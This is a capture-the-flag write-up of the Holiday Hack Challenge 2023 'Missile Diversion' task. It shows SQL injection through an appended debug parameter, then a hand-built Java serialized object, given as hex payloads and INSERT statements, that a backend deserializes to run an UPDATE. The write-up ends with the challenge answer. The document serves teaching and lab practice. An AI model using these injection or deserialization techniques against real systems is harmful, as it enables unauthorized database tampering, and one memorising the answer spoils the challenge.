Skip to content

Missile Diversion⚓︎

Difficulty:
Direct link: https://nanosat.one

Objective⚓︎

Request

Thwart Jack's evil plan by re-aiming his missile at the Sun.

UNKNOWN PERSON

INSERT TEXT HERE

Hints⚓︎

Always Lock Your Computer

From: Wombley Cube

Wombley thinks he may have left the admin tools open. I should check for those if I get stuck.

Solution⚓︎

We build on what we did on the "Camera Access" challenge: Get a Nanosat simulator, a Base Station container and a working Wireguard connection between these two.

As before, we connect to the Directory Service URI "maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directory", "Fetch Information" and "Connect to Selected Provider". In the "Apps Launcher service" card, we now run the "missile-targeting-system", return to the "Communication Settings" tab, "Fetch Information" again and Connect to the provider "App: missile-targeting-service".

SQL access⚓︎

In this new tab, we pick the card "Action service", select "Debug" and "submitAction". A pop-up window appears, where we press "Submit".

In the tab "nanosat-mo-supervisor", the card "Apps Launcher service" holds a kind of message log the lower half. It show new output:

   2023-12-31 21:20:15.198 esa.mo.nmf.apps.MissileTargetingSystemMCAdapter sqlDebug
   INFO: Debug action output: VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 |

This looks suspiciously like the result of a "select version()" mysql query. Is this what the "Debug" action does? What happens to parameters we give to debug?

We re-run the "Debug" action, but now in the pop-up window, we "Edit" the AttributeValue, entering "-h".

The message log shows:

WARNING: Debug action query: SELECT VERSION()-h

So, the parameter "-h" was just appended to "SELECT VERSION()".

If put a separating ";" and a new mysql command in the parameter, we might be able to run the command:

"; show tables" indeed gives

   TABLE_NAME: messaging | 
   TABLE_NAME: pointing_mode | 
   TABLE_NAME: pointing_mode_to_str | 
   TABLE_NAME: satellite_query | 
   TABLE_NAME: target_coordinates |

We can talk to the database

Mapping⚓︎

We use our new-found way of talking to the database to map all its tables.

Omiting the semicolon

In what follows, we will omit the initial semicolon before the mysql command. In the AttributeValue field, we must of course enter it.

 select * from messaging
id msg_type msg_data
1 RedAlphaMsg RONCTTLA
2 MsgAuth 220040DL
3 LaunchCode DLG2209TVX
4 LaunchOrder CONFIRMED
5 TargetSelection CONFIRMED
6 TimeOnTargetSequence COMPLETE
7 YieldSelection COMPLETE
8 MissileDownlink ONLINE
9 TargetDownlinked FALSE
select * from pointing_mode
id numerical_mode
1 0
select * from pointing_mode_to_str
id numerical_mode str_mode str_desc
1 0 Earth Point Mode When pointing_mode is 0, targeting system applies the target_coordinates to earth.
2 1 Sun Point Mode When pointing_mode is 1, targeting system points at the sun, ignoring the coordinates.
select * from target_coordinates
id lat lng
1 1.14514 -145.262
select * from satellite_query
jid object results
1 (binary data) import java.io.Serializable; ....

"satellite_query" has a single entry. Its "object" column contains binary data, while the "results" column holds a full java class source code. We will come back to this soon.

show databases

SCHEMA_NAME: information_schema
SCHEMA_NAME: missile_targeting_system

At least there is only one database.

Our aim now becomes clear: We must change the "numerical value" in "pointing_mode" from 0 to 1. According to table "pointing_mode_to_str", 1 would point the targetting system at the sun.

Are we allowed to do this?

show grants

Grants for targeter@%: GRANT USAGE ON *.* TO `targeter`@`%` IDENTIFIED BY PASSWORD '*41E2CFE844C8F1F375D5704992440920F11A11BA' 
Grants for targeter@%: GRANT SELECT, INSERT ON `missile_targeting_system`.`satellite_query` TO `targeter`@`%` 
Grants for targeter@%: GRANT SELECT ON `missile_targeting_system`.`pointing_mode` TO `targeter`@`%` 
Grants for targeter@%: GRANT SELECT ON `missile_targeting_system`.`messaging` TO `targeter`@`%` 
Grants for targeter@%: GRANT SELECT ON `missile_targeting_system`.`target_coordinates` TO `targeter`@`%` 
Grants for targeter@%: GRANT SELECT ON `missile_targeting_system`.`pointing_mode_to_str` TO `targeter`@`%` 
Now this is frustrating: These grants only imply read access to "pointing_mode". The only "write" access is appending to table "satellite_query". We cannot directly modify "pointing_mode".

Time to come back to the java class in "satellite_query":

Java code for class "SatelliteQueryFileFolderUtility
import java.io.Serializable
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;

public class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;

    public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
        this.pathOrStatement = pathOrStatement;
        this.isQuery = isQuery;
        this.isUpdate = isUpdate;
    }

    public String getResults(Connection connection) {
        if (isQuery && connection != null) {
            if (!isUpdate) {
                try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
                    ResultSet rs = selectStmt.executeQuery()) {
                    List<HashMap<String, String>> rows = new ArrayList<>();
                    while(rs.next()) {
                        HashMap<String, String> row = new HashMap<>();
                        for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
                            String key = rs.getMetaData().getColumnName(i);
                            String value = rs.getString(i);
                            row.put(key, value);
                        }
                        rows.add(row);
                    }
                    Gson gson = new Gson();
                    String json = gson.toJson(rows);
                    return json;
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            } else {
                try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
                    pstmt.executeUpdate();
                    return "SQL Update completed.";
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            }
        } else {
            Path path = Paths.get(pathOrStatement);
            try {
                if (Files.notExists(path)) {
                    return "Path does not exist.";
                } else if (Files.isDirectory(path)) {
                    // Use try-with-resources to ensure the stream is closed after use
                    try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
                        return walk.skip(1) // skip the directory itself
                                .map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
                                .collect(Collectors.joining("\n"));
                    }
                } else {
                    // Assume it's a readable file
                    return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
                }
            } catch (IOException e) {
                return "Error reading path: " + e.toString();
            }
        }
    }

    public String getpathOrStatement() {
        return pathOrStatement;
    }
}

This java class is peculiar in so far as its getResults() method appears to do 4 different things, depending on the parameters with which the class was initialized:

  • return the content of a file (isQuery == False and pathOrStatement contains the path to a file)
  • return a directory listing (isQuery == False and pathOrStatement contains the path to a directory)
  • execute the commands in "pathOrStatement" as if it was a select() query and return the results (isQuery == True and isUpdate == False)
  • execute "pathOrStatement" as a mysql statement (isQuery == True and isUpdate == True)

And what is the binary data in column "objects"?

SELECT HEX( object ) FROM satellite_query WHERE jid = 1
returns

HEX( object ): ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B787000007400292F6F70742F536174656C6C697465517565727946696C65466F6C6465725574696C6974792E6A617661

The initial sequence "ACED0005" suggests a java serialized object - see e.g. Deserialization vulnerabilities: root cause and importance.

The ASCII representation of the object contains strings also present in the java class:

....sr..SatelliteQueryFileFolderUtility...........Z..isQueryZ..isUpdateL..pathOrStatementt..Ljava/lang/String;xp..t.)/opt/SatelliteQueryFileFolderUtility.java

A theory forms:

  • The object is a serialized instance of class "SatelliteQueryFileFolderUtility"
  • Its "pathOrStatement" variable is set to "/opt/SatelliteQueryFileFolderUtility.java" - its own source code
  • The "results" column is filled with the return value of executing this class's "getResults()" method

A Plan⚓︎

Can we use this mechanism to modify "pointing_mode"?

After all, the grants say we can insert new entries into "satellite_query".

If we inserted a "SatelliteQueryFileFolderUtility" object that contained the appropriate SQL commands to update "pointing_mode"?

Let us create such an object:

SerializeObject.java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;


public class SerializeObject {
    public static void main(String[] args) throws IOException {

        SatelliteQueryFileFolderUtility obj =
            new SatelliteQueryFileFolderUtility("update pointing_mode set numerical_mode = 1 where id = 1",
                                                 true, true);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.flush();

        byte[] serializedObject = baos.toByteArray();
        StringBuilder sb = new StringBuilder();
        for (byte b : serializedObject) {
            sb.append(String.format("%02X", b));
        }
        String hexString = sb.toString();
        System.out.println(hexString);
    }
}

AI generated code

The initial version of this programm was create by Bing Chat using the prompt

"Please give me java code to serialize an object of class SatelliteQueryFileFolderUtility and print the serialzed object as hex"

The author has modified it to this final version.

This creates a new object of class SatelliteQueryFileFolderUtility. isQuery and isUpdate both are set to "true". pathOrStatement has the MYSQL instruction that will modify "pointing_mode" to the sun (lines 9-11):

update pointing_mode set numerical_mode = 1 where id = 1
The object is serialized to an ObjectOutputStream (line 15) based on a ByteArrayOutputStream. This allows to print the serialized object as a hex string (lines 16-22).

We put "SatelliteQueryFileFolderUtility.java" in the same folder as "SerializeObject.java", make sure that our CLASSPATH variable contains ".", compile and run:

$ javac SatelliteQueryFileFolderUtility.java
$ javac SerializeObject.java
$ java SerializeObject
ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C697479AC5E43F20E8B06490200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B7870010174003875706461746520706F696E74696E675F6D6F646520736574206E756D65726963616C5F6D6F6465203D2031207768657265206964203D2031

This hex code we now insert into table "satellite_query" via the "Debug" AttributeValue ...

INSERT INTO satellite_query  VALUES (2,  x'ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C697479AC5E43F20E8B06490200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B7870010174003875706461746520706F696E74696E675F6D6F646520736574206E756D65726963616C5F6D6F6465203D2031207768657265206964203D2031', "")

and inspect the new entry:

select jid,results from satellite_query where jid=2

The log window shows the answer:

jid results
2 Deserialization/IO Exception: java.io.InvalidClassException: SatelliteQueryFileFolderUtility; local class incompatible: stream classdesc serialVersionUID = -6026304544470006199, local class serialVersionUID = 1356980473442833099

This means two things:

  • some process has run the newly inserted object with a connection to this database and stored the result in column "results"
  • our java setup differs from that of the nanocube simulator, resulting in a different serialVersionUID of our class.

The first finding is amazing, but we accept that gift gladly.

The second we can fix by forcing our serialVersionUID to the expecting value 1356980473442833099.

Set the Controls for the Heart of the Sun⚓︎

Adding a variable "serialVersionUID" to the class accomplishes this:

SatelliteQueryFileFolderUtility.java
class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;

    private static final long serialVersionUID =1356980473442833099L;

We recompile "SatelliteQueryFileFolderUtility.java", run "SerializeObject"...

$ javac SatelliteQueryFileFolderUtility.java
$ java SerializeObject
ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B7870010174003875706461746520706F696E74696E675F6D6F646520736574206E756D65726963616C5F6D6F6465203D2031207768657265206964203D2031
... and insert the new object into "satellite_query" with a new jid:
INSERT INTO satellite_query  VALUES (3,  x'ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B7870010174003875706461746520706F696E74696E675F6D6F646520736574206E756D65726963616C5F6D6F6465203D2031207768657265206964203D2031', "")

The results are promising:

select results from satellite_query where jid=3

results: SQL Update completed.

"pointing_mode" should now contain the new value:

select * from pointing_mode

and it really does:

id numerical_mode
1 1

We have aimed the missiles at the sun

In the HHC2023 window, our achievement appears. The display at the left door now plays a sequence of Jack having to evacuate in an escape pod to avoid his own missiles that orbit Earth for a gravity assist before flying sunwards. Jack crashlands on Christmas Island.

Santa's sleigh is now safe from Jack's missiles, and two Frostian guards apprehend Jack and take him back to Planet Frost.

Images⚓︎

escape pod

Answer

INSERT INTO satellite_query VALUES (3, x'ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A000 7697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537 472696E673B7870010174003875706461746520706F696E74696E675F6D6F646520736574206E756D65726963616C5F6D6F6465 203D2031207768657265206964203D2031', "")

Response⚓︎

Wombley Cube

A... missile... aimed for Santa's sleigh? I had no idea... I can't believe I was manipulated like this. I've been trained to recognize these kinds of tactics! Santa should never have put the holiday season at risk like he did, but I didn't know Jack's true intentions. I'll help you bring Jack to justice... But my mission to ensure Santa never again compromises the holidays is still in progress. It sounded like the satellite crashed. Based on the coordinates, looks like the crash site is right near Rudolph's Rest. Use the door to the right to return to the resort lobby and see what happened! Don't worry, I'll meet you there... trust me.